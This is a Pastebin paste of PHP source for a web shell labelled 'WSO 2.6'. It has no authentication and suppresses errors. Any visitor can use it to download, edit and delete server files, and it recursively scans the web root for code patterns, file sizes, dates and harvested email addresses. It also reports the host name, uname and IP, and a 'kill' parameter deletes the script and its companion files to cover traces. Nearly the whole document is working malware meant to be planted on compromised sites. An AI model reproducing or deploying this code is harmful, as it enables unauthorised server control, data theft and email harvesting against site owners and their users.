Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- error_reporting(0);
- session_start();
- ini_set('max_execution_time', 300);
- set_time_limit(300);
- if($_POST['ac'] == 'D'){
- if(@is_file($_POST['ab']) &&@is_readable($_POST['ab'])) {
- ob_start("ob_gzhandler",4096);
- header("Content-Disposition: attachment; filename=".basename($_POST['ab']));
- if (function_exists("mime_content_type")) {
- $type = @mime_content_type($_POST['ab']);
- header("Content-Type: ".$type);
- }else
- header("Content-Type: application/octet-stream");
- $fp = @fopen($_POST['ab'],"r");
- if($fp) {
- while(!@feof($fp))
- echo @fread($fp,1024);
- fclose($fp);
- }
- }
- }
- if(isset($_POST['format'])){ $p_format = $_POST['format'];}
- if(isset($_POST['directory'])){ $p_directory = $_POST['directory'];}
- if(isset($_POST['find'])){ $p_find = $_POST['find'];}
- if(isset($_POST['date'])){ $p_date = $_POST['date'];}
- if(isset($_POST['size'])){ $p_size = $_POST['size'];}
- if(isset($_POST['remove'])){ $p_remove = $_POST['remove'];}
- if(isset($_POST['find_active'])){ $p_find_active = $_POST['find_active'];}
- if(isset($_POST['size_active'])){ $p_size_active = $_POST['size_active'];}
- if(isset($_POST['mail_active'])){ $p_mail_active = $_POST['mail_active'];}
- if(isset($_POST['date_filter'])){ $p_date_filter = $_POST['date_filter'];}
- if(isset($_POST['date_only'])){ $p_date_only = $_POST['date_only'];}
- if(isset($_POST['date_two'])){ $p_date_two = $_POST['date_two'];}
- if(isset($_POST["print"])){$p_print = $_POST["print"];}
- if(isset($_POST["table"])){$p_table = $_POST["table"];}
- if(isset($_POST["echo"])){$p_echo = $_POST["echo"];}
- if(isset($_POST["cmd"])){$p_cmd = $_POST["cmd"];}
- if(isset($_GET["format"])){$p_format = $_GET["format"];}
- if(isset($_GET["directory"])){$p_directory = $_GET["directory"];}
- if(isset($_GET["find"])){$p_find = $_GET["find"];}
- if(isset($_GET["date"])){$p_date = $_GET["date"];}
- if(isset($_GET["size"])){$p_size = $_GET["size"];}
- if(isset($_GET["remove"])){$p_remove = $_GET["remove"];}
- if(isset($_GET["find_active"])){$p_find_active = $_GET["find_active"];}
- if(isset($_GET["size_active"])){$p_size_active = $_GET["size_active"];}
- if(isset($_GET["mail_active"])){$p_mail_active = $_GET["mail_active"];}
- if(isset($_GET["date_filter"])){$p_date_filter = $_GET["date_filter"];}
- if(isset($_GET["date_only"])){$p_date_only = $_GET["date_only"];}
- if(isset($_GET["date_two"])){$p_date_two = $_GET["date_two"];}
- if(isset($_GET["print"])){$p_print = $_GET["print"];}
- if(isset($_GET["table"])){$p_table = $_GET["table"];}
- if(isset($_GET["echo"])){$p_echo = $_GET["echo"];}
- if(isset($_GET["cmd"])){$p_cmd = $_GET["cmd"];}
- ///////////////
- $fsize = $p_size;
- $filemora = $p_date_two;
- $otherday = $p_date;
- $formato = $p_format;
- $ggg = explode(',',$p_find);
- $remove = $p_remove;
- $size_active = $p_size_active;
- $mail_active = $p_mail_active;
- $find_active = $p_find_active;
- $date_filter = $p_date_filter;
- $date_only = $p_date_only;
- if ("DOCUMENT_ROOT" == $p_directory){
- $sexhoob = $_SERVER['DOCUMENT_ROOT'];
- }
- else{
- $sexhoob = $_SERVER['DOCUMENT_ROOT']."/".$p_directory;
- }
- $api1 = "http://".$_SERVER['HTTP_HOST']."/".$_SERVER['SCRIPT_NAME']."?format=$p_format&directory=$p_directory&find=$p_find&date=$p_date&size=$p_size&remove=$p_remove&find_active=$p_find_active&size_active=$p_size_active&mail_active=$p_mail_active&date_filter=$p_date_filter&date_only=$p_date_only&date_two=$p_date_two&print=on";
- $api2 = "http://".$_SERVER['HTTP_HOST']."/".$_SERVER['SCRIPT_NAME']."?format=$p_format&directory=$p_directory&find=$p_find&date=$p_date&size=$p_size&remove=$p_remove&find_active=$p_find_active&size_active=$p_size_active&mail_active=$p_mail_active&date_filter=$p_date_filter&date_only=$p_date_only&date_two=$p_date_two&print=off&cmd=off&table=$p_table&echo=$p_echo";
- if($p_print == 'on'){
- print "<!DOCTYPE html>
- <html>
- <head>
- <meta http-equiv='Content-Type' content='text/html; charset=windows-1251'>
- <title>localhost - WSO 2.6</title>
- <style>
- body{background-color:#444;color:#e1e1e1;}
- body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
- table.info{ color:#fff;background-color:#222; }
- span,h1,a{ color: #df5 !important; }
- span{ font-weight: bolder; }
- h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
- div.content{ padding: 5px;margin-left:5px;background-color:#333; }
- a{ text-decoration:none; }
- a:hover{ text-decoration:underline; }
- #pre{font.family:Courier,Monospace;}
- .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
- .bigarea{ width:100%;height:300px; }
- input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }
- form{ margin:0px; }
- #toolsTbl{ text-align:center; }
- .toolsInp{ width: 300px }
- .main th{text-align:left;background-color:#5e5e5e;}
- .main tr:hover{background-color:#5e5e5e}
- .l1{background-color:#444}
- .l2{background-color:#333}
- pre{font-family:Courier,Monospace;}
- ok{user-select: text;}
- </style>
- <script>function toggle(source) {
- var checkboxes = document.querySelectorAll('input[type=\"checkbox\"]');
- for (var i = 0; i < checkboxes.length; i++) {
- if (checkboxes[i] != source)
- checkboxes[i].checked = source.checked;
- }
- }
- </script>
- <script language='JavaScript' type='text/JavaScript'>
- function MM_openBrWindow(theURL,winName,features) { //v2.0
- window.open(theURL,winName,features)
- }
- </script>
- </head>";
- }
- if(isset($_REQUEST['edit']) && $_REQUEST['edit']=='file'){
- if(isset($_POST['yes'])){
- $filename = $_GET['file'];
- echo "<br><br><br><font color=red size=3><b>".$filename." deleted...</b></font><br><br><br><br><br><br><br>";
- unlink($filename);
- echo "<META HTTP-EQUIV=Refresh CONTENT=\"2; URL=javascript:window.close();\">";
- }else{
- if($_POST['update']) {
- $filename = $_POST['file'];
- if(is_writable($filename)) {
- $handle = fopen($filename, "w+");
- $isi=$_POST['content'];
- fwrite($handle, stripslashes($isi));
- fclose($handle);
- $stat= "<strong>edited successfully<br>";
- } else {
- $stat= "<font color=red><strong>Error! File may not be writable.</font>";
- }
- }
- if($_POST['close']) {
- echo "<META HTTP-EQUIV=Refresh CONTENT=\"0; URL=javascript:window.close();\">";
- }
- $filename = $_GET['file'];
- if (file_exists($filename)){
- $vuln = $_GET['bug'];
- $handle = fopen($filename, "r");
- $contents = fread($handle, filesize($filename));
- $print = '<tr><td align="left" class="me"><span>Name:</span> '.htmlspecialchars(@basename($filename)).' <span>Size:</span> '.(is_file($filename)?wsoViewSize(filesize($filename)):'-').' <span>Permission:</span> '.wsoPermsColor($filename).'<br><span>Create time:</span> '.date('Y-m-d H:i:s',filectime($filename)).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($filename)).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($filename)).'<br><br></td></tr>';
- print "
- <table>
- <tr><td align='left' class='me'>$print</td></tr>
- <tr><td class='me'>
- <form method='post' action=''>
- <input type='hidden' name='file' value='$filename'>
- <textarea style='margin: 0px; width: 670px; height: 335px;' name='content' cols='80' rows='15'>".htmlspecialchars($contents)."</textarea><br>
- </td></tr>
- <tr><td align='center' class='me'>
- ";
- if($_POST['delete']) {
- echo "Are you sure to delete ".$filename." ?";
- print '
- <tr><td align="center" class="me">
- <input type="submit" name="yes" value=" Y E S ">
- <input type="submit" name="no" value=" N O ">
- </td></tr>
- ';
- }else{
- echo $stat;
- print'
- </td></tr>
- <tr><td align="right" class="me">
- <input type="submit" name="close" value=" C l o s e ">
- <input type="submit" name="delete" value=" D e l e t e ">
- <input type="submit" name="update" value=" S a v e ">
- </td></tr>
- ';
- }
- fclose($handle);
- print ' </table></form>';
- }else{
- echo "<br><br><br><font color=red size=3><b>".$filename." not exist...</b></font><br><br><br><br><br><br><br>";
- echo "<META HTTP-EQUIV=Refresh CONTENT=\"4; URL=javascript:window.close();\">";
- }
- }
- }
- function wsoViewSize($s) {
- if (is_int($s))
- $s = sprintf("%u", $s);
- if($s >= 1073741824)
- return sprintf('%1.2f', $s / 1073741824 ). ' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f', $s / 1048576 ) . ' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f', $s / 1024 ) . ' KB';
- else
- return $s . ' B';
- }
- function extract_emails_from($string){
- preg_match_all("/[\._a-zA-Z0-9-]+@[\._a-zA-Z0-9-]+/i", $string, $matches);
- return $matches[0];
- }
- function ListFiles($dir) {
- if($dh = opendir($dir)) {
- $files = Array();
- $inner_files = Array();
- while($file = readdir($dh)) {
- if($file != "." && $file != "..") {
- if(is_dir($dir . "/" . $file)) {
- $inner_files = ListFiles($dir . "/" . $file);
- if(is_array($inner_files)) $files = array_merge($files, $inner_files);
- } else {
- array_push($files, $dir . "/" . $file);
- }
- }
- }
- closedir($dh);
- return $files;
- }
- }
- function scanfiles($v1,$v2) {
- if(function_exists("preg_match")) {
- $data = preg_match("/$v1/", $v2);
- return $data;
- }
- elseif(function_exists("eregi")) {
- $data = eregi($v1,$v2);
- return $data;
- }
- elseif(function_exists("preg_match_all")) {
- $data = preg_match_all("/$v1/", $v2, $matches, PREG_OFFSET_CAPTURE);
- return $data;
- }
- }
- function wsoPerms($p) {
- if (($p &0xC000) == 0xC000)$i = 's';
- elseif (($p &0xA000) == 0xA000)$i = 'l';
- elseif (($p &0x8000) == 0x8000)$i = '-';
- elseif (($p &0x6000) == 0x6000)$i = 'b';
- elseif (($p &0x4000) == 0x4000)$i = 'd';
- elseif (($p &0x2000) == 0x2000)$i = 'c';
- elseif (($p &0x1000) == 0x1000)$i = 'p';
- else $i = 'u';
- $i .= (($p &0x0100) ?'r': '-');
- $i .= (($p &0x0080) ?'w': '-');
- $i .= (($p &0x0040) ?(($p &0x0800) ?'s': 'x') : (($p &0x0800) ?'S': '-'));
- $i .= (($p &0x0020) ?'r': '-');
- $i .= (($p &0x0010) ?'w': '-');
- $i .= (($p &0x0008) ?(($p &0x0400) ?'s': 'x') : (($p &0x0400) ?'S': '-'));
- $i .= (($p &0x0004) ?'r': '-');
- $i .= (($p &0x0002) ?'w': '-');
- $i .= (($p &0x0001) ?(($p &0x0200) ?'t': 'x') : (($p &0x0200) ?'T': '-'));
- return $i;
- }
- function wsoPermsColor($f) {
- if (!@is_readable($f))
- return '<font color=#FF0000>'.wsoPerms(@fileperms($f)) .'</font>';
- elseif (!@is_writable($f))
- return '<font color=white>'.wsoPerms(@fileperms($f)) .'</font>';
- else
- return '<font color=#00BB00>'.wsoPerms(@fileperms($f)) .'</font>';
- }
- if($p_print == 'on'){
- print '<body>
- <div style="position:absolute;width:100%;background-color:#000;top:0;left:0;">
- <div style="margin:5">
- <script type="text/javascript">
- function addorder(name, price){
- document.getElementById("cc").value = name;
- document.getElementById("bb").value = price;
- document.getElementById("myForm").submit();
- }
- </script>
- <form method="post" id="myForm">
- <input type="hidden" name="ac" id="cc" type="text">
- <input type="hidden" name="ab" id="bb" type="text">
- </form>
- <form action="#" method="post">
- <div class="content">
- <h1>File Manager</h1>
- <table width="100%" class="main" cellspacing="0" cellpadding="2">
- <tbody>
- <tr>
- <th width="13px"><input type="checkbox" onclick="toggle(this);" class="chkbx"></th>';
- if($p_mail_active == 'yes'){print '<th class="ok">Name</th>';}else{print '<th><a>Name</a></th>';}
- if($p_mail_active == 'yes'){print '<th>Email</th>';}else{print '<th><a>Size</a></th>';}
- if($p_mail_active == 'yes'){print '<th class="ok">Total</th>';}else{print '<th><a>Modify</a></th>';}
- if($p_mail_active == 'yes'){print '<th class="ok">Modify</th>';}else{print '<th><a>File Location</a></th>';}
- if($p_mail_active == 'yes'){print '<th class="ok">Size</th>';}else{print '<th><a>Permissions</a></th>';}
- if($p_mail_active == 'yes'){print '<th class="ok">Actions</th>';}else{print '<th>Actions</th>';}
- if(!empty($p_find)){print '<th>Function</th>';}else{}
- if($p_mail_active == 'yes'){print '<th>Permissions</th>';}else{print '<th>No</th>';}
- print '</tr>';
- }
- $t1 = "<tr>";
- $t2 = "</tr>";
- if($p_cmd == 'off'){
- $x1 = "<tr>";
- $x2 = "</tr>";
- print "<style>table, th, td {text-align: center;border: 1px solid black;user-select: none;}th {cursor: pointer;}style {cursor: pointer;}</style>
- <center>
- <table>";
- if($p_table == 'scan'){
- print "<tr><th>Number</th><th>Name</th><th>Size</th><th>Modify</th><th>FOUND</th><th>DOMAINE</th><th>UNAME</th><th>IP</th></tr>";
- }
- if($p_table == 'size'){
- print "<tr><th>Number</th><th>Name</th><th>Size</th><th>Modify</th><th>Permissions</th><th>DOMAINE</th><th>UNAME</th><th>IP</th></tr>";
- }
- if($p_table == 'date'){
- print "<tr><th>Number</th><th>Name</th><th>Size</th><th>Modify</th><th>Creat</th><th>Permissions</th><th>DOMAINE</th><th>UNAME</th><th>IP</th></tr>";
- }
- if($p_table == 'mail'){print "<tr><th>TOTAL</th><th>EMAIL</th><th>Size</th><th>Modify</th><th>Basename</th><th>DOMAINE</th><th>UNAME</th><th>IP</th></tr>";
- }
- }else{
- $x1 = "";
- $x2 = "";
- }
- foreach (ListFiles($sexhoob) as $key=>$file){
- $explode = explode(".",$file);
- foreach($explode as $dexter) {
- $rotinabox = $dexter; }
- $nFile =".".$rotinabox;
- //$nFile = substr($file, -4, 4);
- if($nFile == $formato){
- $lastone=date("Y-m", filemtime($file));
- if($file==$target.$_SERVER['PHP_SELF']){
- }else{
- $ops = file_get_contents($file);
- $op=strtolower($ops);
- if($date_only == 'yes'){ //scan only by date
- if(scanfiles($lastone,$filemora)){
- $i++;
- if($p_print == 'on'){
- if($_SESSION["as"] == '1'){
- $_SESSION["as"] = '0';
- $l = '1';
- }
- elseif($_SESSION["as"] == '0'){
- $_SESSION["as"] = '1';
- $l = '0';
- }
- else{
- $_SESSION["as"] = '0';
- $l = '1';
- }
- print "<tr class='l$l'>
- <td><input type='checkbox' name='f[]' value='$file' class='chkbx'></td>
- <td><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a><br></td>
- <td>".wsoViewSize(filesize($file))."</td>
- <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
- <td>$file</td>
- <td><a><font color='#00BB00'>".wsoPermsColor($file)."</font></a></td>
- <td><a onclick=\"addorder('R','$file');\">R</a> <a href='#' style='color: lightgray;' onclick=\"MM_openBrWindow('?edit=file&file=$file&bug=','File view','status=yes,scrollbars=yes,width=700,height=600')\" rel='nofollow'>E</a> <a onclick=\"addorder('D','$file');\">D</a></td>
- <td><a><font color='red'>$i</font></a></td>
- </tr>";
- }
- if($p_echo == 'date'){
- if($i == 1){$roblox = "<a href='$api1' target='_blank'> ".$_SERVER['HTTP_HOST']." </a>";
- $ricardo = "<a href='$api2' target='_blank'> ".php_uname('n')." </a>";
- }
- else{
- $roblox = $_SERVER['HTTP_HOST'];
- $ricardo = php_uname('n');
- }
- print "$t1<td style='font-size: 22px;color: red; text-align: center;'>".$i."</td>
- <td style='user-select: text;'><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a></td>
- <td>".wsoViewSize(filesize($file))."</td>
- <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
- <td><span style='color: magenta;'>".date("Y-m-d H:i:s", filectime($file))."</span></td>
- <td><a href='http://".$_SERVER['HTTP_HOST']."/".$_SERVER['SCRIPT_NAME']."?edit=file&file=$file&bug=$bugs' target='_blank'>".wsoPermsColor($file)."</a></td>
- <td>$roblox</td>
- <td>$ricardo</td>
- <td><a href='http://ip-api.com/#".gethostbyname($_SERVER['HTTP_HOST'])."' target='_blank'> ".gethostbyname($_SERVER['HTTP_HOST'])." </a></td>
- $t2";
- }
- }
- }
- else{
- if($date_filter == 'yes'){
- if(scanfiles($lastone,$otherday)){
- $active = 1;
- }
- else{
- $active = 0;
- }
- }
- else{
- $active = 1;
- }
- if($active == 1){
- if($mail_active == 'yes'){ //scan via hidden email
- $emails = extract_emails_from($op);
- $text= 'email';
- if(!empty($emails)){
- $i++;
- $fullemail .= (implode("_50f84daf3_", $emails))."_50f84daf3_";
- $ex=explode("\n",(implode("\n", $emails)));
- foreach($ex as $karkzb){
- $_SESSION[$karkzb.'_name'] = "<a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a>";
- $_SESSION[$karkzb.'_size'] = sprintf('%1.2f', filesize($file) / 1024 ) . ' KB';
- $_SESSION[$karkzb.'_date'] = date("Y-m-d H:i:s", filemtime($file));
- $_SESSION[$karkzb.'_email'] = "<a href='http://".$_SERVER['HTTP_HOST']."/".$_SERVER['SCRIPT_NAME']."?edit=file&file=$file&bug=$karkzb' target='_blank'>".$karkzb."</a>";
- }
- if($p_print == 'on'){
- if (filter_var($ex[0], FILTER_VALIDATE_EMAIL)) {
- if($_SESSION["as"] == '1'){
- $_SESSION["as"] = '0';
- $l = '1';
- }
- elseif($_SESSION["as"] == '0'){
- $_SESSION["as"] = '1';
- $l = '0';
- }
- else{
- $_SESSION["as"] = '0';
- $l = '1';
- }
- print "<tr class='l$l'>
- <td><input type='checkbox' name='f[]' value='$file' class='chkbx'></td>
- <td><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'><font color='#e1e1e1'>".str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."</font></a><br></td>
- <td><a href='#' style='color: lightgray;' onclick=\"MM_openBrWindow('?edit=file&file=$file&bug=','File view','status=yes,scrollbars=yes,width=700,height=600')\" rel='nofollow'>".$ex[0]."</a></td>
- <td><a><font color='red'>".count($ex)."</font></a></td>
- <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
- <td>".sprintf('%1.2f', filesize($file) / 1024 ) . ' KB'."</td>
- <td><a onclick=\"addorder('R','$file');\">R</a> <a href='#' style='color: lightgray;' onclick=\"MM_openBrWindow('?edit=file&file=$file&bug=','File view','status=yes,scrollbars=yes,width=700,height=600')\" rel='nofollow'>E</a> <a onclick=\"addorder('D','$file');\">D</a></td>
- <td><a><font color='#00BB00'>".wsoPermsColor($file)."</font></a></td>
- </tr>";
- }
- }
- }
- }
- #########################################
- if($find_active == 'yes'){ //scan via source code
- foreach($ggg as $bugs) {
- if(scanfiles($bugs,$op)){
- $i++;
- if($p_print == 'on'){
- if($_SESSION["as"] == '1'){
- $_SESSION["as"] = '0';
- $l = '1';
- }
- elseif($_SESSION["as"] == '0'){
- $_SESSION["as"] = '1';
- $l = '0';
- }
- else{
- $_SESSION["as"] = '0';
- $l = '1';
- }
- print "<tr class='l$l'>
- <td><input type='checkbox' name='f[]' value='$file' class='chkbx'></td>
- <td><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a><br></td>
- <td>".wsoViewSize(filesize($file))."</td>
- <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
- <td>".$file."</td>
- <td><a><font color='#00BB00'>".wsoPermsColor($file)."</font></a></td>
- <td><a onclick=\"addorder('R','$file');\">R</a> <a href='#' style='color: lightgray;' onclick=\"MM_openBrWindow('?edit=file&file=$file&bug=','File view','status=yes,scrollbars=yes,width=700,height=600')\" rel='nofollow'>E</a> <a onclick=\"addorder('D','$file');\">D</a></td>
- <td style='color: aqua;'>$bugs</td>
- <td><a><font color='red'>$i</font></a></td>
- </tr>";
- }
- if($p_echo == 'scan'){
- if($i == 1){$roblox = "<a href='$api1' target='_blank'> ".$_SERVER['HTTP_HOST']." </a>";
- $ricardo = "<a href='$api2' target='_blank'> ".php_uname('n')." </a>";
- }
- else{
- $roblox = $_SERVER['HTTP_HOST'];
- $ricardo = php_uname('n');
- }
- print "$t1<td style='font-size: 22px;color: red; text-align: center;'>".$i."</td>
- <td style='user-select: text;'><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a></td>
- <td>".wsoViewSize(filesize($file))."</td>
- <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
- <td><a href='http://".$_SERVER['HTTP_HOST']."/".$_SERVER['SCRIPT_NAME']."?edit=file&file=$file&bug=$bugs' target='_blank'>".$bugs."</a></td>
- <td>$roblox</td>
- <td>$ricardo</td>
- <td><a href='http://ip-api.com/#".gethostbyname($_SERVER['HTTP_HOST'])."' target='_blank'> ".gethostbyname($_SERVER['HTTP_HOST'])." </a></td>
- $t2";
- }
- }
- }
- }
- #########################################
- if($size_active == 'yes'){
- $find = str_replace(' ', '', wsoViewSize(filesize($file)));
- if(scanfiles($find,$fsize)){
- $i++;
- if($p_print == 'on'){
- if($_SESSION["as"] == '1'){
- $_SESSION["as"] = '0';
- $l = '1';
- }
- elseif($_SESSION["as"] == '0'){
- $_SESSION["as"] = '1';
- $l = '0';
- }
- else{
- $_SESSION["as"] = '0';
- $l = '1';
- }
- print "<tr class='l$l'>
- <td><input type='checkbox' name='f[]' value='$file' class='chkbx'></td>
- <td><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a><br></td>
- <td>".wsoViewSize(filesize($file))."</td>
- <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
- <td>$file</td>
- <td><a><font color='#00BB00'>".wsoPermsColor($file)."</font></a></td>
- <td><a onclick=\"addorder('R','$file');\">R</a> <a href='#' style='color: lightgray;' onclick=\"MM_openBrWindow('?edit=file&file=$file&bug=','File view','status=yes,scrollbars=yes,width=700,height=600')\" rel='nofollow'>E</a> <a onclick=\"addorder('D','$file');\">D</a></td>
- <td><a><font color='red'>$i</font></a></td>
- </tr>";
- }
- if($p_echo == 'size'){
- if($i == 1){$roblox = "<a href='$api1' target='_blank'> ".$_SERVER['HTTP_HOST']." </a>";
- $ricardo = "<a href='$api2' target='_blank'> ".php_uname('n')." </a>";
- }
- else{
- $roblox = $_SERVER['HTTP_HOST'];
- $ricardo = php_uname('n');
- }
- print "$t1<td style='font-size: 22px;color: red; text-align: center;'>".$i."</td>
- <td style='user-select: text;'><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a></td>
- <td>".wsoViewSize(filesize($file))."</td>
- <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
- <td><a href='http://".$_SERVER['HTTP_HOST']."/".$_SERVER['SCRIPT_NAME']."?edit=file&file=$file&bug=$bugs' target='_blank'>".wsoPermsColor($file)."</a></td>
- <td>$roblox</td>
- <td>$ricardo</td>
- <td><a href='http://ip-api.com/#".gethostbyname($_SERVER['HTTP_HOST'])."' target='_blank'> ".gethostbyname($_SERVER['HTTP_HOST'])." </a></td>
- $t2";
- }
- if($remove == 'yes'){
- //unlink($file);
- }
- }
- }
- }
- }
- }
- }
- }
- $java = "<script type='text/javascript'>
- const getCellValue = (tr, idx) => tr.children[idx].innerText || tr.children[idx].textContent;
- const comparer = (idx, asc) => (a, b) => ((v1, v2) =>
- v1 !== '' && v2 !== '' && !isNaN(v1) && !isNaN(v2) ? v1 - v2 : v1.toString().localeCompare(v2)
- )(getCellValue(asc ? a : b, idx), getCellValue(asc ? b : a, idx));
- // do the work...
- document.querySelectorAll('th').forEach(th => th.addEventListener('click', (() => {
- const table = th.closest('table');
- Array.from(table.querySelectorAll('tr:nth-child(n+2)'))
- .sort(comparer(Array.from(th.parentNode.children).indexOf(th), this.asc = !this.asc))
- .forEach(tr => table.appendChild(tr) );
- })));
- </script>";
- if($p_print == 'on'){
- print "$java
- </tbody>
- </table>
- </div>
- <tr>
- <td colspan='7'>
- <select style='width: 101px;margin-left: 10px;margin-top: 6px;margin-bottom: 6px;' name='type'>
- <option value='Delete'>Delete</option>
- <option value='Copy'>Copy</option>
- <option value='Basename'>Basename</option>
- </select> <input type='submit' name='go' value='>>'>
- </td>
- </tr>
- </form>
- </div>";
- }
- if ($_SERVER["REQUEST_METHOD"] == "POST") {
- if($_POST['type'] == 'Copy'){
- foreach($_POST['f'] as $string){
- $dexter = 'http://'.$_SERVER['HTTP_HOST']."".str_replace(array($_SERVER['DOCUMENT_ROOT']), "",$string);
- print "<a href='".$dexter."'target='_blank' style='font: 9pt Lucida,Verdana;color: #f97111;'>".$dexter."</a><br>";
- }
- print '<br>';
- foreach($_POST['f'] as $string){
- print "<b style='font: 9pt Lucida,Verdana;color: #f97111;'>".str_replace(array($_SERVER['DOCUMENT_ROOT']), "",$string)."</b><br>";
- }
- }
- if($_POST['type'] == 'Basename'){
- foreach($_POST['f'] as $string){
- print "<b style='font: 9pt Lucida,Verdana;color: #f97111;'>".basename($string)."</b><br>";
- }
- }
- elseif($_POST['type'] == 'Delete'){
- foreach($_POST['f'] as $string){
- //unlink($string);
- print "<b style='font: 9pt Lucida,Verdana;color: #f97111;'>".$string."</b><br>";
- }
- }
- if($_POST['ac'] == 'R'){
- unlink($_POST['ab']);
- }
- }
- ///////////////////////////////////
- if(!empty($fullemail)){
- $ex=explode("_50f84daf3_",$fullemail);
- foreach ($ex as $go){
- $arr[] = $go;
- }
- $unique_data = array_unique($arr);
- foreach($unique_data as $dfgh) {
- if (filter_var($dfgh, FILTER_VALIDATE_EMAIL)) {
- if($p_echo == 'mail'){
- $datamail .= $_SESSION[$dfgh.'_email']." </a><br>";
- $datasize .= "<font> ".$_SESSION[$dfgh.'_size']." </font><br>";
- $datadate .= "<font> ".$_SESSION[$dfgh.'_date']." </font><br>";
- $dataname .= "<i>".$_SESSION[$dfgh.'_name']."</i><br>";
- }elseif($p_print == 'on'){
- print $dfgh."<br>";
- }
- }
- }
- }
- if($p_echo == 'mail'){
- print "$x1<td style='font-size: 22px;color: red; text-align: center;'> ".count(explode("@",$datamail))." </td>
- <td style='user-select: text;'>".$datamail."</td>
- <td>".$datasize."</td>
- <td>".$datadate."</td>
- <td > ".$dataname." </td>
- <td><a href='$api1' target='_blank'> ".$_SERVER['HTTP_HOST']." </a></td>
- <td><a href='$api2' target='_blank'> ".php_uname('n')." </a></td>
- <td><a href='https://ip-api.com/#".gethostbyname($_SERVER['HTTP_HOST'])."' target='_blank'> ".gethostbyname($_SERVER['HTTP_HOST'])." </a></td>
- $x2";
- }
- if(isset($_GET['kill'])){
- $a = basename($_SERVER['SCRIPT_NAME']);echo "<br><font color='chartreuse'>Deleted</font>";unlink($a);unlink('js/hw.sh');unlink('js/.htaccess');}
- if($p_print == 'on'){
- print"<br>
- </div>
- </body>
- </html>";
- }
- elseif($p_cmd == 'off'){
- print "</table></center>$java";
- }
- else{
- print "";
- }
Add Comment
Please, Sign In to add comment